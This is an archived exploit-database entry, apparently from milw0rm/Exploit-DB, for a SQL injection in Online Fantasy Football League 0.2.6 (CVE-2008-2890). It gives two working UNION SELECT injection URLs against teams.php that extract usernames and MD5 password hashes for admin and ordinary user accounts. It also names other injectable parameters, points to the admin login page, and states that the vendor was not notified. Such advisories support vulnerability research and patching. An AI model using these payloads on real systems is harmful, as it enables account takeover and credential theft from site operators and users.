Online Fantasy Football League (OFFL) 0.2.6 - 'teams.php' SQL Injection

Author: t0pP8uZz
type: webapps
platform: php
port: 
date_added: 2008-06-20  
date_updated: 2016-12-09  
verified: 1  
codes: OSVDB-46485;CVE-2008-2890;OSVDB-46484;OSVDB-46483  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comoffl-0.2.6.zip  

raw file: 5889.txt  
-[*]+================================================================================+[*]-
-[*]+		    OFFL <= 0.2.6 Remote SQL Injection Vulnerability	             +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 19 JUNE 2008
[*] Script Download: http://downloads.sourceforge.net/offl
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

	OFFL 0.2.6 and prior versions, suffer from multiple insecure mysql querys.

	SQL Injections below, there are various other spots which are injectable too...

	including " leagues.php?league_id=1' ", " players.php?player_id=190' "



[*] SQL Injection:

For Admin: http://site.com/teams.php?fflteam_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(username,0x3a,password)/**/FROM/**/users/**/WHERE/**/admin=1/**/LIMIT/**/0,1/*
For Users: http://site.com/teams.php?fflteam_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(username,0x3a,password)/**/FROM/**/users/**/LIMIT/**/0,1/*



[*] NOTE/TIP:

	admin area is at "admin.php" login using the normal login page first.
	passwords are encrypted in MD5

	no effcient dork, sql columns may vary on some sites.

[*] GREETZ:

	milw0rm.com, h4ck-y0u.org, Offensive-Security.com, CipherCrew !



[-] Peace...

	...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+		    OFFL <= 0.2.6 Remote SQL Injection Vulnerability	             +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-06-21]